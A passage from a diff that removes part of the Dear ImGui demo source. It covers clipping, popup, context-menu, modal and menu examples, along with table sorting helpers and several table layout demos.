(ImGui::BeginTabItem("FourFourFour")) { ImGui::EndTabItem(); } - ImGui::EndTabBar(); - } - if (show_child) - { - ImGui::BeginChild("child", ImVec2(0, 0), true); - ImGui::EndChild(); - } - ImGui::End(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Clipping")) - { - static ImVec2 size(100.0f, 100.0f); - static ImVec2 offset(30.0f, 30.0f); - ImGui::DragFloat2("size", (float*)&size, 0.5f, 1.0f, 200.0f, "%.0f"); - ImGui::TextWrapped("(Click and drag to scroll)"); - - for (int n = 0; n < 3; n++) - { - if (n > 0) - ImGui::SameLine(); - ImGui::PushID(n); - ImGui::BeginGroup(); // Lock X position - - ImGui::InvisibleButton("##empty", size); - if (ImGui::IsItemActive() && ImGui::IsMouseDragging(ImGuiMouseButton_Left)) - { - offset.x += ImGui::GetIO().MouseDelta.x; - offset.y += ImGui::GetIO().MouseDelta.y; - } - const ImVec2 p0 = ImGui::GetItemRectMin(); - const ImVec2 p1 = ImGui::GetItemRectMax(); - const char* text_str = "Line 1 hello\nLine 2 clip me!"; - const ImVec2 text_pos = ImVec2(p0.x + offset.x, p0.y + offset.y); - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - - switch (n) - { - case 0: - HelpMarker( - "Using ImGui::PushClipRect():\n" - "Will alter ImGui hit-testing logic + ImDrawList rendering.\n" - "(use this if you want your clipping rectangle to affect interactions)"); - ImGui::PushClipRect(p0, p1, true); - draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); - draw_list->AddText(text_pos, IM_COL32_WHITE, text_str); - ImGui::PopClipRect(); - break; - case 1: - HelpMarker( - "Using ImDrawList::PushClipRect():\n" - "Will alter ImDrawList rendering only.\n" - "(use this as a shortcut if you are only using ImDrawList calls)"); - draw_list->PushClipRect(p0, p1, true); - draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); - draw_list->AddText(text_pos, IM_COL32_WHITE, text_str); - draw_list->PopClipRect(); - break; - case 2: - HelpMarker( - "Using ImDrawList::AddText() with a fine ClipRect:\n" - "Will alter only this specific ImDrawList::AddText() rendering.\n" - "(this is often used internally to avoid altering the clipping rectangle and minimize draw calls)"); - ImVec4 clip_rect(p0.x, p0.y, p1.x, p1.y); // AddText() takes a ImVec4* here so let's convert. - draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); - draw_list->AddText(ImGui::GetFont(), ImGui::GetFontSize(), text_pos, IM_COL32_WHITE, text_str, NULL, 0.0f, &clip_rect); - break; - } - ImGui::EndGroup(); - ImGui::PopID(); - } - - ImGui::TreePop(); - } -} - -static void ShowDemoWindowPopups() -{ - if (!ImGui::CollapsingHeader("Popups & Modal windows")) - return; - - // The properties of popups windows are: - // - They block normal mouse hovering detection outside them. (*) - // - Unless modal, they can be closed by clicking anywhere outside them, or by pressing ESCAPE. - // - Their visibility state (~bool) is held internally by Dear ImGui instead of being held by the programmer as - // we are used to with regular Begin() calls. User can manipulate the visibility state by calling OpenPopup(). - // (*) One can use IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup) to bypass it and detect hovering even - // when normally blocked by a popup. - // Those three properties are connected. The library needs to hold their visibility state BECAUSE it can close - // popups at any time. - - // Typical use for regular windows: - // bool my_tool_is_active = false; if (ImGui::Button("Open")) my_tool_is_active = true; [...] if (my_tool_is_active) Begin("My Tool", &my_tool_is_active) { [...] } End(); - // Typical use for popups: - // if (ImGui::Button("Open")) ImGui::OpenPopup("MyPopup"); if (ImGui::BeginPopup("MyPopup") { [...] EndPopup(); } - - // With popups we have to go through a library call (here OpenPopup) to manipulate the visibility state. - // This may be a bit confusing at first but it should quickly make sense. Follow on the examples below. - - if (ImGui::TreeNode("Popups")) - { - ImGui::TextWrapped( - "When a popup is active, it inhibits interacting with windows that are behind the popup. " - "Clicking outside the popup closes it."); - - static int selected_fish = -1; - const char* names[] = { "Bream", "Haddock", "Mackerel", "Pollock", "Tilefish" }; - static bool toggles[] = { true, false, false, false, false }; - - // Simple selection popup (if you want to show the current selection inside the Button itself, - // you may want to build a string using the "###" operator to preserve a constant ID with a variable label) - if (ImGui::Button("Select..")) - ImGui::OpenPopup("my_select_popup"); - ImGui::SameLine(); - ImGui::TextUnformatted(selected_fish == -1 ? "" : names[selected_fish]); - if (ImGui::BeginPopup("my_select_popup")) - { - ImGui::Text("Aquarium"); - ImGui::Separator(); - for (int i = 0; i < IM_ARRAYSIZE(names); i++) - if (ImGui::Selectable(names[i])) - selected_fish = i; - ImGui::EndPopup(); - } - - // Showing a menu with toggles - if (ImGui::Button("Toggle..")) - ImGui::OpenPopup("my_toggle_popup"); - if (ImGui::BeginPopup("my_toggle_popup")) - { - for (int i = 0; i < IM_ARRAYSIZE(names); i++) - ImGui::MenuItem(names[i], "", &toggles[i]); - if (ImGui::BeginMenu("Sub-menu")) - { - ImGui::MenuItem("Click me"); - ImGui::EndMenu(); - } - - ImGui::Separator(); - ImGui::Text("Tooltip here"); - if (ImGui::IsItemHovered()) - ImGui::SetTooltip("I am a tooltip over a popup"); - - if (ImGui::Button("Stacked Popup")) - ImGui::OpenPopup("another popup"); - if (ImGui::BeginPopup("another popup")) - { - for (int i = 0; i < IM_ARRAYSIZE(names); i++) - ImGui::MenuItem(names[i], "", &toggles[i]); - if (ImGui::BeginMenu("Sub-menu")) - { - ImGui::MenuItem("Click me"); - if (ImGui::Button("Stacked Popup")) - ImGui::OpenPopup("another popup"); - if (ImGui::BeginPopup("another popup")) - { - ImGui::Text("I am the last one here."); - ImGui::EndPopup(); - } - ImGui::EndMenu(); - } - ImGui::EndPopup(); - } - ImGui::EndPopup(); - } - - // Call the more complete ShowExampleMenuFile which we use in various places of this demo - if (ImGui::Button("File Menu..")) - ImGui::OpenPopup("my_file_popup"); - if (ImGui::BeginPopup("my_file_popup")) - { - ShowExampleMenuFile(); - ImGui::EndPopup(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Context menus")) - { - // BeginPopupContextItem() is a helper to provide common/simple popup behavior of essentially doing: - // if (IsItemHovered() && IsMouseReleased(ImGuiMouseButton_Right)) - // OpenPopup(id); - // return BeginPopup(id); - // For more advanced uses you may want to replicate and customize this code. - // See details in BeginPopupContextItem(). - static float value = 0.5f; - ImGui::Text("Value = %.3f (<-- right-click here)", value); - if (ImGui::BeginPopupContextItem("item context menu")) - { - if (ImGui::Selectable("Set to zero")) value = 0.0f; - if (ImGui::Selectable("Set to PI")) value = 3.1415f; - ImGui::SetNextItemWidth(-FLT_MIN); - ImGui::DragFloat("##Value", &value, 0.1f, 0.0f, 0.0f); - ImGui::EndPopup(); - } - - // We can also use OpenPopupOnItemClick() which is the same as BeginPopupContextItem() but without the - // Begin() call. So here we will make it that clicking on the text field with the right mouse button (1) - // will toggle the visibility of the popup above. - ImGui::Text("(You can also right-click me to open the same popup as above.)"); - ImGui::OpenPopupOnItemClick("item context menu", 1); - - // When used after an item that has an ID (e.g.Button), we can skip providing an ID to BeginPopupContextItem(). - // BeginPopupContextItem() will use the last item ID as the popup ID. - // In addition here, we want to include your editable label inside the button label. - // We use the ### operator to override the ID (read FAQ about ID for details) - static char name[32] = "Label1"; - char buf[64]; - sprintf(buf, "Button: %s###Button", name); // ### operator override ID ignoring the preceding label - ImGui::Button(buf); - if (ImGui::BeginPopupContextItem()) - { - ImGui::Text("Edit name:"); - ImGui::InputText("##edit", name, IM_ARRAYSIZE(name)); - if (ImGui::Button("Close")) - ImGui::CloseCurrentPopup(); - ImGui::EndPopup(); - } - ImGui::SameLine(); ImGui::Text("(<-- right-click here)"); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Modals")) - { - ImGui::TextWrapped("Modal windows are like popups but the user cannot close them by clicking outside."); - - if (ImGui::Button("Delete..")) - ImGui::OpenPopup("Delete?"); - - // Always center this window when appearing - ImVec2 center = ImGui::GetMainViewport()->GetCenter(); - ImGui::SetNextWindowPos(center, ImGuiCond_Appearing, ImVec2(0.5f, 0.5f)); - - if (ImGui::BeginPopupModal("Delete?", NULL, ImGuiWindowFlags_AlwaysAutoResize)) - { - ImGui::Text("All those beautiful files will be deleted.\nThis operation cannot be undone!\n\n"); - ImGui::Separator(); - - //static int unused_i = 0; - //ImGui::Combo("Combo", &unused_i, "Delete\0Delete harder\0"); - - static bool dont_ask_me_next_time = false; - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0)); - ImGui::Checkbox("Don't ask me next time", &dont_ask_me_next_time); - ImGui::PopStyleVar(); - - if (ImGui::Button("OK", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } - ImGui::SetItemDefaultFocus(); - ImGui::SameLine(); - if (ImGui::Button("Cancel", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } - ImGui::EndPopup(); - } - - if (ImGui::Button("Stacked modals..")) - ImGui::OpenPopup("Stacked 1"); - if (ImGui::BeginPopupModal("Stacked 1", NULL, ImGuiWindowFlags_MenuBar)) - { - if (ImGui::BeginMenuBar()) - { - if (ImGui::BeginMenu("File")) - { - if (ImGui::MenuItem("Some menu item")) {} - ImGui::EndMenu(); - } - ImGui::EndMenuBar(); - } - ImGui::Text("Hello from Stacked The First\nUsing style.Colors[ImGuiCol_ModalWindowDimBg] behind it."); - - // Testing behavior of widgets stacking their own regular popups over the modal. - static int item = 1; - static float color[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; - ImGui::Combo("Combo", &item, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); - ImGui::ColorEdit4("color", color); - - if (ImGui::Button("Add another modal..")) - ImGui::OpenPopup("Stacked 2"); - - // Also demonstrate passing a bool* to BeginPopupModal(), this will create a regular close button which - // will close the popup. Note that the visibility state of popups is owned by imgui, so the input value - // of the bool actually doesn't matter here. - bool unused_open = true; - if (ImGui::BeginPopupModal("Stacked 2", &unused_open)) - { - ImGui::Text("Hello from Stacked The Second!"); - if (ImGui::Button("Close")) - ImGui::CloseCurrentPopup(); - ImGui::EndPopup(); - } - - if (ImGui::Button("Close")) - ImGui::CloseCurrentPopup(); - ImGui::EndPopup(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Menus inside a regular window")) - { - ImGui::TextWrapped("Below we are testing adding menu items to a regular window. It's rather unusual but should work!"); - ImGui::Separator(); - - // Note: As a quirk in this very specific example, we want to differentiate the parent of this menu from the - // parent of the various popup menus above. To do so we are encloding the items in a PushID()/PopID() block - // to make them two different menusets. If we don't, opening any popup above and hovering our menu here would - // open it. This is because once a menu is active, we allow to switch to a sibling menu by just hovering on it, - // which is the desired behavior for regular menus. - ImGui::PushID("foo"); - ImGui::MenuItem("Menu item", "CTRL+M"); - if (ImGui::BeginMenu("Menu inside a regular window")) - { - ShowExampleMenuFile(); - ImGui::EndMenu(); - } - ImGui::PopID(); - ImGui::Separator(); - ImGui::TreePop(); - } -} - -// Dummy data structure that we use for the Table demo. -// (pre-C++11 doesn't allow us to instantiate ImVector template if this structure if defined inside the demo function) -namespace -{ -// We are passing our own identifier to TableSetupColumn() to facilitate identifying columns in the sorting code. -// This identifier will be passed down into ImGuiTableSortSpec::ColumnUserID. -// But it is possible to omit the user id parameter of TableSetupColumn() and just use the column index instead! (ImGuiTableSortSpec::ColumnIndex) -// If you don't use sorting, you will generally never care about giving column an ID! -enum MyItemColumnID -{ - MyItemColumnID_ID, - MyItemColumnID_Name, - MyItemColumnID_Action, - MyItemColumnID_Quantity, - MyItemColumnID_Description -}; - -struct MyItem -{ - int ID; - const char* Name; - int Quantity; - - // We have a problem which is affecting _only this demo_ and should not affect your code: - // As we don't rely on std:: or other third-party library to compile dear imgui, we only have reliable access to qsort(), - // however qsort doesn't allow passing user data to comparing function. - // As a workaround, we are storing the sort specs in a static/global for the comparing function to access. - // In your own use case you would probably pass the sort specs to your sorting/comparing functions directly and not use a global. - // We could technically call ImGui::TableGetSortSpecs() in CompareWithSortSpecs(), but considering that this function is called - // very often by the sorting algorithm it would be a little wasteful. - static const ImGuiTableSortSpecs* s_current_sort_specs; - - // Compare function to be used by qsort() - static int IMGUI_CDECL CompareWithSortSpecs(const void* lhs, const void* rhs) - { - const MyItem* a = (const MyItem*)lhs; - const MyItem* b = (const MyItem*)rhs; - for (int n = 0; n < s_current_sort_specs->SpecsCount; n++) - { - // Here we identify columns using the ColumnUserID value that we ourselves passed to TableSetupColumn() - // We could also choose to identify columns based on their index (sort_spec->ColumnIndex), which is simpler! - const ImGuiTableColumnSortSpecs* sort_spec = &s_current_sort_specs->Specs[n]; - int delta = 0; - switch (sort_spec->ColumnUserID) - { - case MyItemColumnID_ID: delta = (a->ID - b->ID); break; - case MyItemColumnID_Name: delta = (strcmp(a->Name, b->Name)); break; - case MyItemColumnID_Quantity: delta = (a->Quantity - b->Quantity); break; - case MyItemColumnID_Description: delta = (strcmp(a->Name, b->Name)); break; - default: IM_ASSERT(0); break; - } - if (delta > 0) - return (sort_spec->SortDirection == ImGuiSortDirection_Ascending) ? +1 : -1; - if (delta < 0) - return (sort_spec->SortDirection == ImGuiSortDirection_Ascending) ? -1 : +1; - } - - // qsort() is instable so always return a way to differenciate items. - // Your own compare function may want to avoid fallback on implicit sort specs e.g. a Name compare if it wasn't already part of the sort specs. - return (a->ID - b->ID); - } -}; -const ImGuiTableSortSpecs* MyItem::s_current_sort_specs = NULL; -} - -// Make the UI compact because there are so many fields -static void PushStyleCompact() -{ - ImGuiStyle& style = ImGui::GetStyle(); - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(style.FramePadding.x, (float)(int)(style.FramePadding.y * 0.60f))); - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x, (float)(int)(style.ItemSpacing.y * 0.60f))); -} - -static void PopStyleCompact() -{ - ImGui::PopStyleVar(2); -} - -// Show a combo box with a choice of sizing policies -static void EditTableSizingFlags(ImGuiTableFlags* p_flags) -{ - struct EnumDesc { ImGuiTableFlags Value; const char* Name; const char* Tooltip; }; - static const EnumDesc policies[] = - { - { ImGuiTableFlags_None, "Default", "Use default sizing policy:\n- ImGuiTableFlags_SizingFixedFit if ScrollX is on or if host window has ImGuiWindowFlags_AlwaysAutoResize.\n- ImGuiTableFlags_SizingStretchSame otherwise." }, - { ImGuiTableFlags_SizingFixedFit, "ImGuiTableFlags_SizingFixedFit", "Columns default to _WidthFixed (if resizable) or _WidthAuto (if not resizable), matching contents width." }, - { ImGuiTableFlags_SizingFixedSame, "ImGuiTableFlags_SizingFixedSame", "Columns are all the same width, matching the maximum contents width.\nImplicitly disable ImGuiTableFlags_Resizable and enable ImGuiTableFlags_NoKeepColumnsVisible." }, - { ImGuiTableFlags_SizingStretchProp, "ImGuiTableFlags_SizingStretchProp", "Columns default to _WidthStretch with weights proportional to their widths." }, - { ImGuiTableFlags_SizingStretchSame, "ImGuiTableFlags_SizingStretchSame", "Columns default to _WidthStretch with same weights." } - }; - int idx; - for (idx = 0; idx < IM_ARRAYSIZE(policies); idx++) - if (policies[idx].Value == (*p_flags & ImGuiTableFlags_SizingMask_)) - break; - const char* preview_text = (idx < IM_ARRAYSIZE(policies)) ? policies[idx].Name + (idx > 0 ? strlen("ImGuiTableFlags") : 0) : ""; - if (ImGui::BeginCombo("Sizing Policy", preview_text)) - { - for (int n = 0; n < IM_ARRAYSIZE(policies); n++) - if (ImGui::Selectable(policies[n].Name, idx == n)) - *p_flags = (*p_flags & ~ImGuiTableFlags_SizingMask_) | policies[n].Value; - ImGui::EndCombo(); - } - ImGui::SameLine(); - ImGui::TextDisabled("(?)"); - if (ImGui::IsItemHovered()) - { - ImGui::BeginTooltip(); - ImGui::PushTextWrapPos(ImGui::GetFontSize() * 50.0f); - for (int m = 0; m < IM_ARRAYSIZE(policies); m++) - { - ImGui::Separator(); - ImGui::Text("%s:", policies[m].Name); - ImGui::Separator(); - ImGui::SetCursorPosX(ImGui::GetCursorPosX() + ImGui::GetStyle().IndentSpacing * 0.5f); - ImGui::TextUnformatted(policies[m].Tooltip); - } - ImGui::PopTextWrapPos(); - ImGui::EndTooltip(); - } -} - -static void EditTableColumnsFlags(ImGuiTableColumnFlags* p_flags) -{ - ImGui::CheckboxFlags("_DefaultHide", p_flags, ImGuiTableColumnFlags_DefaultHide); - ImGui::CheckboxFlags("_DefaultSort", p_flags, ImGuiTableColumnFlags_DefaultSort); - if (ImGui::CheckboxFlags("_WidthStretch", p_flags, ImGuiTableColumnFlags_WidthStretch)) - *p_flags &= ~(ImGuiTableColumnFlags_WidthMask_ ^ ImGuiTableColumnFlags_WidthStretch); - if (ImGui::CheckboxFlags("_WidthFixed", p_flags, ImGuiTableColumnFlags_WidthFixed)) - *p_flags &= ~(ImGuiTableColumnFlags_WidthMask_ ^ ImGuiTableColumnFlags_WidthFixed); - ImGui::CheckboxFlags("_NoResize", p_flags, ImGuiTableColumnFlags_NoResize); - ImGui::CheckboxFlags("_NoReorder", p_flags, ImGuiTableColumnFlags_NoReorder); - ImGui::CheckboxFlags("_NoHide", p_flags, ImGuiTableColumnFlags_NoHide); - ImGui::CheckboxFlags("_NoClip", p_flags, ImGuiTableColumnFlags_NoClip); - ImGui::CheckboxFlags("_NoSort", p_flags, ImGuiTableColumnFlags_NoSort); - ImGui::CheckboxFlags("_NoSortAscending", p_flags, ImGuiTableColumnFlags_NoSortAscending); - ImGui::CheckboxFlags("_NoSortDescending", p_flags, ImGuiTableColumnFlags_NoSortDescending); - ImGui::CheckboxFlags("_NoHeaderWidth", p_flags, ImGuiTableColumnFlags_NoHeaderWidth); - ImGui::CheckboxFlags("_PreferSortAscending", p_flags, ImGuiTableColumnFlags_PreferSortAscending); - ImGui::CheckboxFlags("_PreferSortDescending", p_flags, ImGuiTableColumnFlags_PreferSortDescending); - ImGui::CheckboxFlags("_IndentEnable", p_flags, ImGuiTableColumnFlags_IndentEnable); ImGui::SameLine(); HelpMarker("Default for column 0"); - ImGui::CheckboxFlags("_IndentDisable", p_flags, ImGuiTableColumnFlags_IndentDisable); ImGui::SameLine(); HelpMarker("Default for column >0"); -} - -static void ShowTableColumnsStatusFlags(ImGuiTableColumnFlags flags) -{ - ImGui::CheckboxFlags("_IsEnabled", &flags, ImGuiTableColumnFlags_IsEnabled); - ImGui::CheckboxFlags("_IsVisible", &flags, ImGuiTableColumnFlags_IsVisible); - ImGui::CheckboxFlags("_IsSorted", &flags, ImGuiTableColumnFlags_IsSorted); - ImGui::CheckboxFlags("_IsHovered", &flags, ImGuiTableColumnFlags_IsHovered); -} - -static void ShowDemoWindowTables() -{ - //ImGui::SetNextItemOpen(true, ImGuiCond_Once); - if (!ImGui::CollapsingHeader("Tables & Columns")) - return; - - // Using those as a base value to create width/height that are factor of the size of our font - const float TEXT_BASE_WIDTH = ImGui::CalcTextSize("A").x; - const float TEXT_BASE_HEIGHT = ImGui::GetTextLineHeightWithSpacing(); - - ImGui::PushID("Tables"); - - int open_action = -1; - if (ImGui::Button("Open all")) - open_action = 1; - ImGui::SameLine(); - if (ImGui::Button("Close all")) - open_action = 0; - ImGui::SameLine(); - - // Options - static bool disable_indent = false; - ImGui::Checkbox("Disable tree indentation", &disable_indent); - ImGui::SameLine(); - HelpMarker("Disable the indenting of tree nodes so demo tables can use the full window width."); - ImGui::Separator(); - if (disable_indent) - ImGui::PushStyleVar(ImGuiStyleVar_IndentSpacing, 0.0f); - - // About Styling of tables - // Most settings are configured on a per-table basis via the flags passed to BeginTable() and TableSetupColumns APIs. - // There are however a few settings that a shared and part of the ImGuiStyle structure: - // style.CellPadding // Padding within each cell - // style.Colors[ImGuiCol_TableHeaderBg] // Table header background - // style.Colors[ImGuiCol_TableBorderStrong] // Table outer and header borders - // style.Colors[ImGuiCol_TableBorderLight] // Table inner borders - // style.Colors[ImGuiCol_TableRowBg] // Table row background when ImGuiTableFlags_RowBg is enabled (even rows) - // style.Colors[ImGuiCol_TableRowBgAlt] // Table row background when ImGuiTableFlags_RowBg is enabled (odds rows) - - // Demos - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Basic")) - { - // Here we will showcase three different ways to output a table. - // They are very simple variations of a same thing! - - // [Method 1] Using TableNextRow() to create a new row, and TableSetColumnIndex() to select the column. - // In many situations, this is the most flexible and easy to use pattern. - HelpMarker("Using TableNextRow() + calling TableSetColumnIndex() _before_ each cell, in a loop."); - if (ImGui::BeginTable("table1", 3)) - { - for (int row = 0; row < 4; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Row %d Column %d", row, column); - } - } - ImGui::EndTable(); - } - - // [Method 2] Using TableNextColumn() called multiple times, instead of using a for loop + TableSetColumnIndex(). - // This is generally more convenient when you have code manually submitting the contents of each columns. - HelpMarker("Using TableNextRow() + calling TableNextColumn() _before_ each cell, manually."); - if (ImGui::BeginTable("table2", 3)) - { - for (int row = 0; row < 4; row++) - { - ImGui::TableNextRow(); - ImGui::TableNextColumn(); - ImGui::Text("Row %d", row); - ImGui::TableNextColumn(); - ImGui::Text("Some contents"); - ImGui::TableNextColumn(); - ImGui::Text("123.456"); - } - ImGui::EndTable(); - } - - // [Method 3] We call TableNextColumn() _before_ each cell. We never call TableNextRow(), - // as TableNextColumn() will automatically wrap around and create new roes as needed. - // This is generally more convenient when your cells all contains the same type of data. - HelpMarker( - "Only using TableNextColumn(), which tends to be convenient for tables where every cells contains the same type of contents.\n" - "This is also more similar to the old NextColumn() function of the Columns API, and provided to facilitate the Columns->Tables API transition."); - if (ImGui::BeginTable("table3", 3)) - { - for (int item = 0; item < 14; item++) - { - ImGui::TableNextColumn(); - ImGui::Text("Item %d", item); - } - ImGui::EndTable(); - } - - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Borders, background")) - { - // Expose a few Borders related flags interactively - enum ContentsType { CT_Text, CT_FillButton }; - static ImGuiTableFlags flags = ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg; - static bool display_headers = false; - static int contents_type = CT_Text; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); - ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags, ImGuiTableFlags_Borders); - ImGui::SameLine(); HelpMarker("ImGuiTableFlags_Borders\n = ImGuiTableFlags_BordersInnerV\n | ImGuiTableFlags_BordersOuterV\n | ImGuiTableFlags_BordersInnerV\n | ImGuiTableFlags_BordersOuterH"); - ImGui::Indent(); - - ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags, ImGuiTableFlags_BordersH); - ImGui::Indent(); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterH", &flags, ImGuiTableFlags_BordersOuterH); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerH", &flags, ImGuiTableFlags_BordersInnerH); - ImGui::Unindent(); - - ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); - ImGui::Indent(); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); - ImGui::Unindent(); - - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuter", &flags, ImGuiTableFlags_BordersOuter); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInner", &flags, ImGuiTableFlags_BordersInner); - ImGui::Unindent(); - - ImGui::AlignTextToFramePadding(); ImGui::Text("Cell contents:"); - ImGui::SameLine(); ImGui::RadioButton("Text", &contents_type, CT_Text); - ImGui::SameLine(); ImGui::RadioButton("FillButton", &contents_type, CT_FillButton); - ImGui::Checkbox("Display headers", &display_headers); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body (borders will always appears in Headers"); - PopStyleCompact(); - - if (ImGui::BeginTable("table1", 3, flags)) - { - // Display headers so we can inspect their interaction with borders. - // (Headers are not the main purpose of this section of the demo, so we are not elaborating on them too much. See other sections for details) - if (display_headers) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableHeadersRow(); - } - - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - char buf[32]; - sprintf(buf, "Hello %d,%d", column, row); - if (contents_type == CT_Text) - ImGui::TextUnformatted(buf); - else if (contents_type) - ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Resizable, stretch")) - { - // By default, if we don't enable ScrollX the sizing policy for each columns is "Stretch" - // Each columns maintain a sizing weight, and they will occupy all available width. - static ImGuiTableFlags flags = ImGuiTableFlags_SizingStretchSame | ImGuiTableFlags_Resizable | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_ContextMenuInBody; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); - ImGui::SameLine(); HelpMarker("Using the _Resizable flag automatically enables the _BordersInnerV flag as well, this is why the resize borders are still showing when unchecking this."); - PopStyleCompact(); - - if (ImGui::BeginTable("table1", 3, flags)) - { - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Hello %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Resizable, fixed")) - { - // Here we use ImGuiTableFlags_SizingFixedFit (even though _ScrollX is not set) - // So columns will adopt the "Fixed" policy and will maintain a fixed width regardless of the whole available width (unless table is small) - // If there is not enough available width to fit all columns, they will however be resized down. - // FIXME-TABLE: Providing a stretch-on-init would make sense especially for tables which don't have saved settings - HelpMarker( - "Using _Resizable + _SizingFixedFit flags.\n" - "Fixed-width columns generally makes more sense if you want to use horizontal scrolling.\n\n" - "Double-click a column border to auto-fit the column to its contents."); - PushStyleCompact(); - static ImGuiTableFlags flags = ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_Resizable | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_ContextMenuInBody; - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendX", &flags, ImGuiTableFlags_NoHostExtendX); - PopStyleCompact(); - - if (ImGui::BeginTable("table1", 3, flags)) - { - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Hello %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Resizable, mixed")) - { - HelpMarker( - "Using TableSetupColumn() to alter resizing policy on a per-column basis.\n\n" - "When combining Fixed and Stretch columns, generally you only want one, maybe two trailing columns to use _WidthStretch."); - static ImGuiTableFlags flags = ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_RowBg | ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; - - if (ImGui::BeginTable("table1", 3, flags)) - { - ImGui::TableSetupColumn("AAA", ImGuiTableColumnFlags_WidthFixed); - ImGui::TableSetupColumn("BBB", ImGuiTableColumnFlags_WidthFixed); - ImGui::TableSetupColumn("CCC", ImGuiTableColumnFlags_WidthStretch); - ImGui::TableHeadersRow(); - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("%s %d,%d", (column == 2) ? "Stretch" : "Fixed", column, row); - } - } - ImGui::EndTable(); - } - if (ImGui::BeginTable("table2", 6, flags)) - { - ImGui::TableSetupColumn("AAA", ImGuiTableColumnFlags_WidthFixed); - ImGui::TableSetupColumn("BBB", ImGuiTableColumnFlags_WidthFixed); - ImGui::TableSetupColumn("CCC", ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_DefaultHide); - ImGui::TableSetupColumn("DDD", ImGuiTableColumnFlags_WidthStretch); - ImGui::TableSetupColumn("EEE", ImGuiTableColumnFlags_WidthStretch); - ImGui::TableSetupColumn("FFF", ImGuiTableColumnFlags_WidthStretch | ImGuiTableColumnFlags_DefaultHide); - ImGui::TableHeadersRow(); - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 6; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("%s %d,%d", (column >= 3) ? "Stretch" : "Fixed", column, row); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Reorderable, hideable, with headers")) - { - HelpMarker( - "Click and drag column headers to reorder columns.\n\n" - "Right-click on a header to open a context menu."); - static ImGuiTableFlags flags = ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, 